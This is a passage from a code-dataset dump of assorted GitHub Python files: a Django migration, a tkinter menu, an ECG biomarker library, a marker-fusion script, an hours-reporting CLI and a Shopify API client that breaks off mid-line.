[\n ('search', '0022_auto_20210212_1140'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='preferences',\n name='auto_command_after_sell',\n field=models.BooleanField(default=False, verbose_name='Automatically command? After a sell, if the quantity of the book gets below its minimal quantity, add the book to the list of commands.'),\n ),\n ]\n","repo_name":"vindarel/abelujo","sub_path":"search/migrations/0023_preferences_auto_command_after_sell.py","file_name":"0023_preferences_auto_command_after_sell.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"39915677397","text":"import tkinter as tk \nfrom gui.gui_configuraciones import configuracion\nfrom gui.gui_weber import frame_botones\n\n\nclass menu_barra():\n \n def __init__(self):\n pass\n \n def archivo_nuevo_presionado(self, frame_servicio):\n '''\n llama ventana configuraciones\n '''\n frame_servicio.destroy()\n configuracionVentana = configuracion()\n\n\n def frame_ejecucion(self):\n '''\n Para ejecucion\n '''\n frame_ejecucion=frame_botones()\n \n \n def barra_menu(self, gui):\n '''\n Funcion para la barra de menú de la aplicación \n '''\n \n barra_menu = tk.Menu(gui)\n gui.config(menu = barra_menu)\n \n menu_opciones = tk.Menu(barra_menu, tearoff= 0)\n barra_menu.add_cascade(label = \"Opciones\", menu = menu_opciones)\n menu_opciones.add_command(\n label = \"Ejecutar Servicio\" ,\n command= self.frame_ejecucion() \n )\n menu_opciones.add_command(\n label=\"Configuración del Weber\",\n accelerator=\"Ctrl+A\",\n command= lambda:[self.archivo_nuevo_presionado(frame_botones)]\n )\n # Asociar el atajo del teclado del menú \"Nuevo\".\n gui.bind_all(\"\", self.archivo_nuevo_presionado)\n menu_opciones.add_separator()\n menu_opciones.add_command(label = \"Salir\", command= gui.destroy )\n \n menu_ayuda = tk.Menu(barra_menu, tearoff= 0)\n barra_menu.add_cascade(label= \"Ayuda\", menu= menu_ayuda)\n menu_ayuda.add_command(label= \"Ayuda\")\n menu_ayuda.add_command(label= \"Version\")\n","repo_name":"JOSE-EDUIN/Sistema_Weber","sub_path":"gui/barra_menu.py","file_name":"barra_menu.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35196069784","text":"from typing import List\n\n\ndef coin_change(coins: List[int], amount: int) -> int:\n # the smallest coin is always 1 and there is only single combination that fulfill this condition\n possibilities = [amount + 1] * (amount + 1)\n possibilities[0] = 0\n\n for coin in coins:\n for curr_amount in range(amount + 1):\n possibilities[curr_amount] = min(possibilities[curr_amount], possibilities[curr_amount - coin] + 1)\n\n if possibilities[amount] > amount:\n return -1\n\n return possibilities[amount]\n\n\nif __name__ == '__main__':\n print(coin_change([1, 2, 5], 11))\n","repo_name":"mwoss/algorithms","sub_path":"blind75/dp/coin_change.py","file_name":"coin_change.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"25677464522","text":"import numpy as np\r\nfrom pebm.ebm.FiducialPoints import FiducialPoints\r\nfrom pebm.ebm.IntervalsDuration import extract_intervals_duration\r\nfrom pebm.ebm.WavesCharacteristics import extract_waves_characteristics\r\nfrom pebm.ebm.Statistics import statistics\r\nfrom pebm._ErrorHandler import _check_shape_, WrongParameter\r\n\r\n\r\nclass Biomarkers:\r\n def __init__(self, signal: np.array, fs, fiducials=None, matlab_path: str = None):\r\n \"\"\"\r\n :param signal: The ECG signal as a ndarray.\r\n :param fs: The sampling frequency of the signal.\r\n :param fiducials: Dictionary that includes indexes for each fiducial point\r\n :param matlab_path: The indexes of the R- points of the ECG signal – optional input\r\n\r\n .. code-block:: python\r\n\r\n from pebm.ebm import Biomarkers as Obm\r\n obm = Obm.Biomarkers(f_ecg_rec, fs, fiducials)\r\n ints, stat_i = obm.intervals()\r\n waves, stat_w = obm.waves()\r\n\r\n \"\"\"\r\n if fs <= 0:\r\n raise WrongParameter(\"Sampling frequency should be strictly positive\")\r\n _check_shape_(signal, fs)\r\n\r\n self.signal = signal\r\n self.fs = fs\r\n self.fiducials = fiducials\r\n self.intervals_b = {}\r\n self.waves_b = {}\r\n self.intervals_statistics = {}\r\n self.waves_statistics = {}\r\n\r\n if fiducials is None:\r\n fp = FiducialPoints(signal, fs)\r\n fiducials = fp.wavedet(matlab_path)\r\n self.fiducials = fiducials\r\n\r\n def intervals(self):\r\n \"\"\"\r\n :return: intervals_b: Dictionary that includes all the row data, for the **Interval duration and segments** biomarkers.\r\n :return: intervals_statistics: Dictionary that includes the mean, median, min, max, iqr and std, for every **Interval duration and segments** biomarker.\r\n\r\n .. list-table:: **Interval duration and segments**:\r\n :widths: 25 75\r\n :header-rows: 1\r\n\r\n * - Biomarker\r\n - Description\r\n * - P-waveint\r\n - Time interval between P-on and P-off.\r\n * - PRint\r\n - Time interval between the P-on to the QRS-on.\r\n * - PRseg\r\n - Time interval between the P-off to the QRS-on.\r\n * - PRint2\r\n - Time interval between P-peak and R-peak as defined by Mao et al.\r\n * - QRSint\r\n - Time interval between the QRS-on to the QRS-off.\r\n * - QTint\r\n - Time interval between the QRS-on to the T-off.\r\n * - QTcBint\r\n - Corrected QT interval (QTc) using Bazett’s formula.\r\n * - QTcFriint\r\n - QTc using the Fridericia formula.\r\n * - QTcFraint\r\n - QTc using the Framingham formula.\r\n * - QTcHint\r\n - QTc using the Hodges formula.\r\n * - T-waveint\r\n - Time interval between T-on and T-off.\r\n * - TPseg\r\n - Time interval between T-off and P-on.\r\n * - RRint\r\n - Time interval between sequential R-peaks.\r\n * - Rdep\r\n - Time interval betweem Q-on and R-peak.\r\n\r\n\r\n \"\"\"\r\n fs = self.fs\r\n fiducials = self.fiducials\r\n signal = self.signal\r\n\r\n if len(np.shape(signal)) == 2:\r\n [ecg_len, ecg_num] = np.shape(signal)\r\n intervals_b = {}\r\n intervals_statistics = {}\r\n for i in np.arange(ecg_num):\r\n if np.sum(fiducials[i]['qrs']) == 0:\r\n intervals_b[i] = np.nan\r\n intervals_statistics[i] = np.nan\r\n else:\r\n intervals_b[i] = extract_intervals_duration(fs, fiducials[i])\r\n intervals_statistics[i] = statistics(intervals_b[i])\r\n elif len(np.shape(signal)) == 1:\r\n if np.sum(fiducials[0]['qrs']) == 0:\r\n intervals_b = np.nan\r\n intervals_statistics = np.nan\r\n else:\r\n intervals_b = extract_intervals_duration(fs, fiducials[0])\r\n intervals_statistics = statistics(intervals_b)\r\n\r\n self.intervals_b = intervals_b\r\n self.intervals_statistics = intervals_statistics\r\n return self.intervals_b, self.intervals_statistics\r\n\r\n def waves(self):\r\n \"\"\"\r\n :return: waves_b: Dictionary that includes all the row data, for every **Waves characteristic** biomarker.\r\n :return: waves_statistics: Dictionary that includes the mean, median, min, max, iqr and std, for every **Waves characteristic** biomarker.\r\n\r\n\r\n .. list-table:: **Waves characteristics**:\r\n :widths: 25 75\r\n :header-rows: 1\r\n\r\n * - Biomarker\r\n - Description\r\n\r\n * - P-wave\r\n - Amplitude difference between P-peak and P-off.\r\n * - T-wave\r\n - Amplitude difference between T-peak on and T-off.\r\n * - R-wave:\r\n - R-peak amplitude.\r\n * - P-waveArea\r\n - P-wave interval area defined as integral from the P-on to the P-off.\r\n * - T-waveArea\r\n - T-wave interval area defined as integral from the T-on to the T-off.\r\n * - QRSArea\r\n - QRS interval area defined as integral from the QRS-on to the QRS-off.\r\n * - STseg\r\n - Amplitude difference between QRS-off and T-on.\r\n * - J-point\r\n - Amplitude in 40ms after QRS-off as defined by Hollander et al.\r\n \"\"\"\r\n signal = self.signal\r\n fs = self.fs\r\n fiducials = self.fiducials\r\n\r\n if len(np.shape(signal)) == 2:\r\n [ecg_len, ecg_num] = np.shape(signal)\r\n waves_b = {}\r\n waves_statistics = {}\r\n for i in np.arange(ecg_num):\r\n if np.sum(fiducials[i]['qrs']) == 0:\r\n waves_b[i] = np.nan\r\n waves_statistics[i] = np.nan\r\n else:\r\n waves_b[i] = extract_waves_characteristics(signal[:,i], fs, fiducials[i])\r\n waves_statistics[i] = statistics(waves_b[i])\r\n elif len(np.shape(signal)) == 1:\r\n if np.sum(fiducials[0]['qrs']) == 0:\r\n waves_b = np.nan\r\n waves_statistics = np.nan\r\n else:\r\n waves_b = extract_waves_characteristics(signal,fs, fiducials[0])\r\n waves_statistics = statistics(waves_b)\r\n\r\n self.waves_b = waves_b\r\n self.waves_statistics = waves_statistics\r\n return self.waves_b, self.waves_statistics\r\n\r\n\r\n\r\n","repo_name":"yevgm/pebm_new","sub_path":"pebm/ebm/Biomarkers.py","file_name":"Biomarkers.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17469610008","text":"import torch\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\nfrom typing import TypeVar\n\nfrom preprocess import pool2d\nT = TypeVar('T', np.array, torch.tensor)\n\n\nclass BirdDataset(Dataset):\n def __init__(self, imgs_path: str, responds_path: str, is_float: bool) -> None:\n imgs = np.load(imgs_path)\n responds = np.load(responds_path)\n assert imgs.shape[0] == responds.shape[0]\n\n imgs = torch.tensor(imgs)\n responds = torch.tensor(responds)\n\n if is_float:\n imgs = imgs.float()\n responds = responds.float()\n self.imgs = imgs\n self.responds = responds\n self.pooling = -1\n\n def __getitem__(self, index) -> (T, T):\n return self.imgs[index], self.responds[index], self.pre_responds[index]\n\n def __len__(self) -> int:\n return self.imgs.shape[0]\n\n\nif __name__ == '__main__':\n print()","repo_name":"BLAKORCa/Final-Project","sub_path":"Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"20913501427","text":"#!/usr/bin/env python\n\"\"\"\nScript that fuses marker files of different aligned views of the same substack\n\"\"\"\n\nfrom __future__ import print_function\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport os\nimport argparse\n\nfrom bcfind.markers import distance, match_markers, match_markers_with_icp\nfrom bcfind.volume import m_load_markers,SubStack\nfrom bcfind.utils import mkdir_p\n\ndef save_fused_markers(substack, C_merged, C_onlyfirstview, C_onlysecondview, output_marker_file, first_view_id, second_view_id, verbose=False):\n \n if output_marker_file is not None:\n ostream = open(output_marker_file,'w')\n print('##x,y,z,radius,shape,name,comment, color_r,color_g,color_b',file=ostream)\n\n for i,c in enumerate(C_onlyfirstview):\n r,g,b = 255,0,255\n name = first_view_id+'_single('+c.name+')'\n cx,cy,cz = c.x,c.y,c.z\n comment = ''\n if output_marker_file is not None:\n print(','.join(map(str,[cx,cy,cz,0,1,name,comment,r,g,b])), file=ostream)\n if verbose:\n print('ONLY-FIRST-VIEW: ', c.name,c.x,c.y,c.z,c)\n\n for i,c in enumerate(C_onlysecondview):\n r,g,b = 255,0,0\n name = second_view_id+'_single('+c.name+')'\n cx,cy,cz = c.x,c.y,c.z\n comment = ''\n if output_marker_file is not None:\n print(','.join(map(str,[cx,cy,cz,0,1,name,comment,r,g,b])), file=ostream)\n if verbose:\n print('ONLY-SECOND-VIEW: ', c.name,c.x,c.y,c.z,c)\n\n for i,c in enumerate(C_merged):\n r,g,b = 255,255,0\n name = first_view_id+'_'+second_view_id+'_merged_'+str(i)\n cx,cy,cz = c.x,c.y,c.z\n comment = ''\n if output_marker_file is not None:\n print(','.join(map(str,[cx,cy,cz,0,1,name,comment,r,g,b])), file=ostream)\n\n if output_marker_file is not None:\n ostream.close()\n\ndef do_fuse_with_icp(substack,C_firstview,C_secondview,max_distance,match_distance=None,num_iterations = 100, eps=1e-8, verbose=False):\n\n if match_distance is None:\n match_distance = max_distance\n\n if len(C_firstview)==0 or len(C_secondview)==0:\n if verbose:\n print('total=%d merged=%d only_firstview=%d only_secondview=%d'%(len(C_firstview+C_secondview),len([]),len(C_firstview),len(C_secondview)))\n return [],C_firstview,C_secondview,C_firstview+C_secondview\n\n C_secondview,good_firstview,good_secondview,_,_ = match_markers_with_icp(C_firstview,C_secondview, match_distance, num_iterations, eps) \n\n c_firstview_matched = []\n c_secondview_matched = []\n for gi,gj in zip(good_firstview,good_secondview):\n c1=C_firstview[gi]\n c2=C_secondview[gj]\n d = distance((c1.x,c1.y,c1.z),(c2.x,c2.y,c2.z))\n if d < max_distance:\n c_firstview_matched.append(c1)\n c_secondview_matched.append(c2)\n true_positives_firstview = set(c_firstview_matched) \n true_positives_secondview = set(c_secondview_matched)\n \n C_merged = []\n for c1,c2 in zip(c_firstview_matched,c_secondview_matched):\n c_merged = c1\n c_merged.x = (c_merged.x + c2.x)/2\n c_merged.y = (c_merged.y + c2.y)/2\n c_merged.z = (c_merged.z + c2.z)/2\n if c_merged.x<0 or c_merged.y<0 or c_merged.z<0 or c_merged.x>substack.info['Width'] or c_merged.y>substack.info['Height'] or c_merged.z>substack.info['Depth']:\n continue\n C_merged.append(c_merged)\n\n\n C_onlyfirstview=[]\n for i,c in enumerate(C_firstview):\n if c not in true_positives_firstview:\n cx,cy,cz = c.x,c.y,c.z\n if cx<0 or cy<0 or cz<0 or cx>substack.info['Width'] or cy>substack.info['Height'] or cz>substack.info['Depth']:\n continue\n else:\n C_onlyfirstview.append(c)\n\n C_onlysecondview=[]\n for i,c in enumerate(C_secondview):\n if c not in true_positives_secondview:\n cx,cy,cz = c.x,c.y,c.z\n if cx<0 or cy<0 or cz<0 or cx>substack.info['Width'] or cy>substack.info['Height'] or cz>substack.info['Depth']:\n continue\n else:\n C_onlysecondview.append(c)\n\n C_total=C_merged+C_onlyfirstview+C_onlysecondview\n if verbose:\n print('total=%d merged=%d only_firstview=%d only_secondview=%d'%(len(C_total),len(C_merged),len(C_onlyfirstview),len(C_onlysecondview)))\n\n return C_merged,C_onlyfirstview,C_onlysecondview,C_total\n\n\n\n\ndef do_fuse(substack,C_firstview,C_secondview,max_distance,verbose=False):\n\n # ============ max-cardinality bipartite matching\n if len(C_firstview)==0 or len(C_secondview)==0:\n if verbose:\n print('total=%d merged=%d only_firstview=%d only_secondview=%d'%(len(C_firstview+C_secondview),len([]),len(C_firstview),len(C_secondview)))\n return [],C_firstview,C_secondview,C_firstview+C_secondview\n\n true_positives_firstview = set() # subset of C_true that are true positives\n true_positives_secondview = set() # subset of C_pred that are true positives\n G,mate,node2center = match_markers(C_firstview,C_secondview,max_distance*2)\n C_merged = []\n for k1,k2 in mate.iteritems():\n if k1[0] == 'p': # mate is symmetric\n continue\n c1 = node2center[k1]\n c2 = node2center[k2]\n d = distance((c1.x,c1.y,c1.z),(c2.x,c2.y,c2.z))\n if d < (max_distance): # a constant criterion is needed!\n\n true_positives_firstview.add(c1)\n true_positives_secondview.add(c2)\n\n c_merged = c1\n c_merged.x = (c_merged.x + c2.x)/2\n c_merged.y = (c_merged.y + c2.y)/2\n c_merged.z = (c_merged.z + c2.z)/2\n\n if c_merged.x<0 or c_merged.y<0 or c_merged.z<0 or c_merged.x>substack.info['Width'] or c_merged.y>substack.info['Height'] or c_merged.z>substack.info['Depth']:\n continue\n C_merged.append(c_merged)\n \n C_onlyfirstview=[]\n for i,c in enumerate(C_firstview):\n if c not in true_positives_firstview:\n cx,cy,cz = c.x,c.y,c.z\n if cx<0 or cy<0 or cz<0 or cx>substack.info['Width'] or cy>substack.info['Height'] or cz>substack.info['Depth']:\n continue\n else:\n C_onlyfirstview.append(c)\n\n C_onlysecondview=[]\n for i,c in enumerate(C_secondview):\n if c not in true_positives_secondview:\n cx,cy,cz = c.x,c.y,c.z\n if cx<0 or cy<0 or cz<0 or cx>substack.info['Width'] or cy>substack.info['Height'] or cz>substack.info['Depth']:\n continue\n else:\n C_onlysecondview.append(c)\n\n C_total=C_merged+C_onlyfirstview+C_onlysecondview\n if verbose:\n print('total=%d merged=%d only_firstview=%d only_secondview=%d'%(len(C_total),len(C_merged),len(C_onlyfirstview),len(C_onlysecondview)))\n\n return C_merged,C_onlyfirstview,C_onlysecondview,C_total\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('indir', metavar='indir', type=str,\n help=\"\"\"needs indir/info.plist, substacks, e.g. indir/100905,\n and GT files e.g. indir/100905-GT.marker (unless a different folder\n is specified with the --ground_truth_folder option)\"\"\")\n parser.add_argument('substack_id', metavar='substack_id', type=str,\n help='substack identifier, e.g. 100905')\n parser.add_argument('first_view', metavar='first_view', type=str,\n help='Markers of the 1st view')\n parser.add_argument('second_view', metavar='second_view', type=str,\n help='Markers of the 2nd view')\n parser.add_argument('output_marker_file', metavar='output_marker_file', type=str,\n help='Output file of fused markers')\n\n parser.add_argument('--first_view_id', metavar='first_view_id', type=str, action='store', default='first_view_marker_',\n help='id of the 1st view')\n parser.add_argument('--second_view_id', metavar='second_view_id', type=str, action='store', default='second_view_marker_',\n help='id of the 2nd view')\n\n parser.add_argument('--max_distance', metavar='max_distance', dest='max_distance',\n action='store', type=float, default=2.0,\n help='maximum distance beyond which two neurons of different views are no longer considered the same element')\n parser.add_argument('--match_distance', metavar='match_distance', dest='match_distance',\n action='store', type=float, default=2.0,\n help='maximum distance beyond which a pair of markers is matched in the Iterative Closest Point procedure')\n parser.add_argument('--verbose', dest='verbose', action='store_true', help='Verbose output.')\n parser.add_argument('--do_icp', dest='do_icp', action='store_true', help='do the Iterative Closest point procedure to align the second view markers to the first view markers')\n\n return parser\n\n\ndef main(args):\n try:\n C_firstview = m_load_markers(args.first_view,from_vaa3d=True)\n except IOError:\n print('Warning: first view marker file',args.first_view,'not found.')\n C_firstview = []\n try:\n C_secondview = m_load_markers(args.second_view,from_vaa3d=True)\n except IOError:\n print('Warning: second view marker file',args.second_view,'not found.')\n C_secondview = []\n\n mkdir_p(os.path.dirname(args.output_marker_file))\n substack = SubStack(args.indir,args.substack_id)\n if args.do_icp:\n C_merged, C_onlyfirstview, C_onlyfirstview, _ = do_fuse_with_icp(substack,C_firstview,C_secondview,args.max_distance,match_distance=args.match_distance,verbose=args.verbose)\n else:\n C_merged, C_onlyfirstview, C_onlyfirstview, _ = do_fuse(substack,C_firstview,C_secondview,args.max_distance, args.verbose)\n \n save_fused_markers(substack,C_merged,C_onlyfirstview,C_onlysecondview,output_marker_file,first_view_id,second_view_id,verbose)\n\n\n\nif __name__ == '__main__':\n parser = get_parser()\n args = parser.parse_args()\n main(args)\n","repo_name":"paolo-f/bcfind","sub_path":"bcfind/scripts/fuse_markers.py","file_name":"fuse_markers.py","file_ext":"py","file_size_in_byte":10290,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"} +{"seq_id":"19094405062","text":"#!/usr/bin/env python\n\nimport sys\nimport pysam\nimport argparse\nimport gffutils\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-d', '--db', help=\"Annotations database\", default='annotations.db')\n parser.add_argument('-g', '--genome', help=\"Reference Genome to retrieve sequence data from\")\n args = parser.parse_args()\n\n sys.stdout.write(\"Loading reference genome {}\\n\".format(args.genome))\n genome = pysam.FastaFile(args.genome)\n\n sys.stdout.write(\"Loading database {}\\n\".format(args.db))\n db = gffutils.FeatureDB(args.db, keep_order=True)\n\n sys.stdout.write(\"Processing UTRs\\n\")\n for utr in db.features_of_type('UTR', order_by='start'):\n if len(utr.attributes['ID']) > 1:\n sys.stderr.write(\"WARNING: More than one ID listed for feature\\n\")\n sys.stderr.write(\"{}\\n\".format(utr))\n sys.exit()\n id = utr.attributes['ID'][0]\n temp = id.split(':')\n if temp[0] == 'UTR5':\n sequence = genome.fetch()\n sys.stdout.write(\"{}\\t{}\\t{}\\t{}\\n\".format(id, utr[0], utr[3], utr[4]))\n","repo_name":"dgaston/kshv-tis","sub_path":"Old/identify_alt_transstart_utr.py","file_name":"identify_alt_transstart_utr.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5302882492","text":"from SPARQLWrapper import SPARQLWrapper, JSON\n\nsparql = SPARQLWrapper(\"http://dbpedia.org/sparql\")\nsparql.setQuery(\n# \"\"\"\n# PREFIX rdfs: \n# SELECT ?label\n# WHERE { rdfs:label ?label }\n# \"\"\"\n\"\"\"\nselect ?label\nwhere{\n?label .\n}\n\"\"\"\n)\n\nsparql.setReturnFormat(JSON)\nresults = sparql.query().convert()\n\nfor result in results[\"results\"][\"bindings\"]:\n print(result[\"label\"][\"value\"])","repo_name":"dugenkui03/anim-ontology-matching","sub_path":"SPARQLWrapperDemo.py","file_name":"SPARQLWrapperDemo.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"17042421957","text":"\nfrom legends_hours.store.sqlite_db import *\nfrom legends_hours.file_management.input import *\nfrom legends_hours.file_management.output import *\nimport os \nfrom sqlite3 import Connection\n\n\ndef add_time_events(conn: Connection , args) -> None:\n \"\"\"\n Adds a time event to the database from the command line.\n\n Args:\n conn: A connection object for the database.\n args: The args object for interfacing with the command line.\n \"\"\"\n print(\"Parsing time events report for the week.\")\n\n report_df = parse_time_file(args.ReportFilePath)\n add_report_item(conn, report_df)\n\n # Message about end command.\n print(f\"The time events for the report file have been ingested.\")\n\ndef add_notes(conn: Connection, args) -> None:\n \"\"\"\n Adds overtime comments to the database for a specified employee.\n\n Args:\n conn: A connection object for the database.\n args: The args object for interfacing with the command line.\n\n Raises:\n ValueError: When a report identifier for the specified combination of employee and date can not be found.\n\n \"\"\"\n \n print(f\"Searching the database for employee: {args.EmployeeName}, on {args.WeekDay}.\")\n\n # Get employee first and last name and date. Find their report id for the week in the connection.\n first, last = (args.EmployeeName).split(' ')\n report_id = get_report_by_name_week(conn=conn, date=args.WeekDay, first_name=first, last_name=last)\n # If no report id is found, determine whether the employee or week-date can't be found.\n if len(report_id) < 1:\n raise ValueError(f\"No entries that include the following date {args.WeekDay} could be found for employee {args.EmployeeName}. \\\n Please ensure the date is not beyond a week into the future, and that the employee was working during this time.\")\n \n comment = create_comment_item(report_id[0], args.Comment)\n add_comment_item(conn, comment)\n\n # Add comment to the database.\n print(\"Comment added to the database!\")\n\ndef compile_week_hours(conn: Connection, args) -> None:\n \"\"\"\n Compiles the total hours for each employee during the week and produces an excel file.\n\n Args:\n conn: A connection object for the database.\n args: The args object for interfacing with the command line.\n\n Raises:\n Warning: if no time report could be found for the user-specified date.\n\n \"\"\"\n print(f\"Compiling total hours for the following week: {args.WeekDay}.\")\n\n # Use get_weekly_report to get all information for the week.\n weekly_report_df = get_weekly_report(conn, args.WeekDay)\n\n if len(weekly_report_df.index) < 1:\n raise Warning(f\"No time event report has been found for the date: {args.WeekDay}.\")\n\n # Feed the dataframe into the output function to create the excel file.\n create_excel_with_flags(weekly_report_df, os.path.join(args.OutputFilePath, f\"report_{args.WeekDay}_hours.xlsx\"))\n\n print(f\"The compiled hours excel file has been created at the following path:{args.OutputFilePath}\")\n\ndef export_overtime_pdf(conn: Connection, args) -> None:\n \"\"\"\n Creates a pdf with listing of employees who have worked overtime and any comments.\n\n Args:\n conn: A connection object for the database.\n args: The args object for interfacing with the command line.\n\n Raises:\n Warning: If no employee overtime nor comments could be found about employees.\n\n \"\"\"\n\n print(f\"Creating an overtime review document for the week of the following date: {args.WeekDay}.\")\n\n overtime_comments_df = get_flagged_comments_for_week(conn, args.WeekDay)\n overtime_comments_df['num_overtime'] = overtime_comments_df['hours'] - 40\n overtime_comments_df.loc[overtime_comments_df['num_overtime'] < 0, 'num_overtime'] = 0\n\n if len(overtime_comments_df.index) < 1:\n raise Warning(\"No employees have been working overtime or have comments associated with their hours.\")\n \n # Give information about the flagged employee, hours, and comments to compile into the PDF.\n create_pdf_with_comments(overtime_comments_df, os.path.join(args.OutputFilePath, f\"overtime_review_{args.WeekDay}.pdf\"))\n\n print(f\"The overtime review report has been created at the following path:{args.OutputFilePath}\")\n \n","repo_name":"AeRabelais/legends-hours-interface","sub_path":"legends_hours/client/sub_commands.py","file_name":"sub_commands.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20792580544","text":"#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\n# Hive Shopify API\r\n# Copyright (c) 2008-2020 Hive Solutions Lda.\r\n#\r\n# This file is part of Hive Shopify API.\r\n#\r\n# Hive Shopify API is free software: you can redistribute it and/or modify\r\n# it under the terms of the Apache License as published by the Apache\r\n# Foundation, either version 2.0 of the License, or (at your option) any\r\n# later version.\r\n#\r\n# Hive Shopify API is distributed in the hope that it will be useful,\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n# Apache License for more details.\r\n#\r\n# You should have received a copy of the Apache License along with\r\n# Hive Shopify API. If not, see .\r\n\r\n__author__ = \"João Magalhães \"\r\n\"\"\" The author(s) of the module \"\"\"\r\n\r\n__version__ = \"1.0.0\"\r\n\"\"\" The version of the module \"\"\"\r\n\r\n__revision__ = \"$LastChangedRevision$\"\r\n\"\"\" The revision number of the module \"\"\"\r\n\r\n__date__ = \"$LastChangedDate$\"\r\n\"\"\" The last change date of the module \"\"\"\r\n\r\n__copyright__ = \"Copyright (c) 2008-2020 Hive Solutions Lda.\"\r\n\"\"\" The copyright for the module \"\"\"\r\n\r\n__license__ = \"Apache License, Version 2.0\"\r\n\"\"\" The license for the module \"\"\"\r\n\r\nimport hmac\r\nimport base64\r\nimport hashlib\r\n\r\nimport appier\r\n\r\nfrom . import cart\r\nfrom . import inventory_item\r\nfrom . import shop\r\nfrom . import order\r\nfrom . import product\r\nfrom . import webhook\r\nfrom . import location\r\nfrom . import smart_collection\r\n\r\nCLIENT_ID = None\r\n\"\"\" The default value to be used for the client id\r\nin case no client id is provided to the API client \"\"\"\r\n\r\nCLIENT_SECRET = None\r\n\"\"\" The secret value to be used for situations where\r\nno client secret has been provided to the client \"\"\"\r\n\r\nREDIRECT_URL = \"http://localhost:8080/oauth\"\r\n\"\"\" The redirect URL used as default (fallback) value\r\nin case none is provided to the API (client) \"\"\"\r\n\r\nSCOPE = (\r\n \"read_products\",\r\n \"write_products\"\r\n)\r\n\"\"\" The list of permissions to be used to create the\r\nscope string for the OAuth value \"\"\"\r\n\r\nclass API(\r\n appier.API,\r\n cart.CartAPI,\r\n inventory_item.InventoryItemAPI,\r\n shop.ShopAPI,\r\n order.OrderAPI,\r\n product.ProductAPI,\r\n webhook.WebhookAPI,\r\n location.LocationAPI,\r\n smart_collection.SmartCollectionAPI\r\n):\r\n\r\n def __init__(self, *args, **kwargs):\r\n appier.API.__init__(self, *args, **kwargs)\r\n self.api_version = appier.conf(\"SHOPIFY_API_VERSION\", None)\r\n self.api_key = appier.conf(\"SHOPIFY_API_KEY\", None)\r\n self.password = appier.conf(\"SHOPIFY_PASSWORD\", None)\r\n self.secret = appier.conf(\"SHOPIFY_SECRET\", None)\r\n self.store_url = appier.conf(\"SHOPIFY_STORE\", None)\r\n self.website_url = appier.conf(\"SHOPIFY_WEBSITE\", None)\r\n self.api_version = kwargs.get(\"api_version\", self.api_version)\r\n self.api_key = kwargs.get(\"api_key\", self.api_key)\r\n self.password = kwargs.get(\"password\", self.password)\r\n self.secret = kwargs.get(\"secret\", self.secret)\r\n self.store_url = kwargs.get(\"store_url\", self.store_url)\r\n self.website_url = kwargs.get(\"website_url\", self.website_url)\r\n self._build_url()\r\n\r\n def build(\r\n self,\r\n method,\r\n url,\r\n data = None,\r\n data_j = None,\r\n data_m = None,\r\n headers = None,\r\n params = None,\r\n mime = None,\r\n kwargs = None\r\n ):\r\n cookie_l = []\r\n if hasattr(self, \"session_id\"):\r\n cookie_l.append(\"_session_id=%s\" % self.session_id)\r\n if hasattr(self, \"cart\"): cookie_l.append(\"cart=%s\" % self.cart)\r\n cookie = \";\".join(cookie_l)\r\n if not cookie: return\r\n headers[\"Cookie\"] = cookie\r\n\r\n def get_many(self, url, key = None, **kwargs):\r\n page = 1\r\n result = []\r\n while True:\r\n items = self.get(url, page = page, **kwargs)\r\n if key: items = items[key]\r\n if not items: break\r\n result.extend(items)\r\n page += 1\r\n if key: result = {key : result}\r\n return result\r\n\r\n def graphql(self, query_data):\r\n url = self.base_url + \"admin/api/graphql.json\"\r\n contents = self.post(url = url, data = query_data, headers = {\r\n \"Content-Type\" : \"application/graphql\"\r\n })\r\n return contents\r\n\r\n def verify_request(\r\n self,\r\n request,\r\n field = \"hmac\",\r\n header = \"X-Shopify-Hmac-SHA256\"\r\n ):\r\n is_param = True if request.get_param(field, None) else False\r\n signature = request.get_param(field, None)\r\n signature = request.get_header(header, signature)\r\n appier.verify(\r\n signature,\r\n message = \"No signature found in request\",\r\n exception = appier.OperationalError\r\n )\r\n\r\n if is_param:\r\n params_l = [(key, param) for key, param in appier.legacy.iteritems(request.get_params()) if not key == field]\r\n params_l.sort()\r\n params_s = appier.legacy.urlencode(params_l)\r\n data = appier.legacy.bytes(params_s, encoding = \"utf-8\", force = True)\r\n else:\r\n data = request.get_data()\r\n\r\n self.verify_signature(signature, data, base_64 = not is_param)\r\n\r\n def verify_signature(self, signature, data, key = None, base_64 = True):\r\n key = key if key else self.secret\r\n appier.verify(\r\n key,\r\n message = \"No key for signing found\",\r\n exception = appier.OperationalError\r\n )\r\n\r\n signature_b = appier.legacy.bytes(signature)\r\n key_b = appier.legacy.bytes(key)\r\n\r\n if base_64:\r\n _signature = hmac.new(key_b, data, hashlib.sha256).digest()\r\n _signature_b64 = base64.b64encode(_signature)\r\n valid = 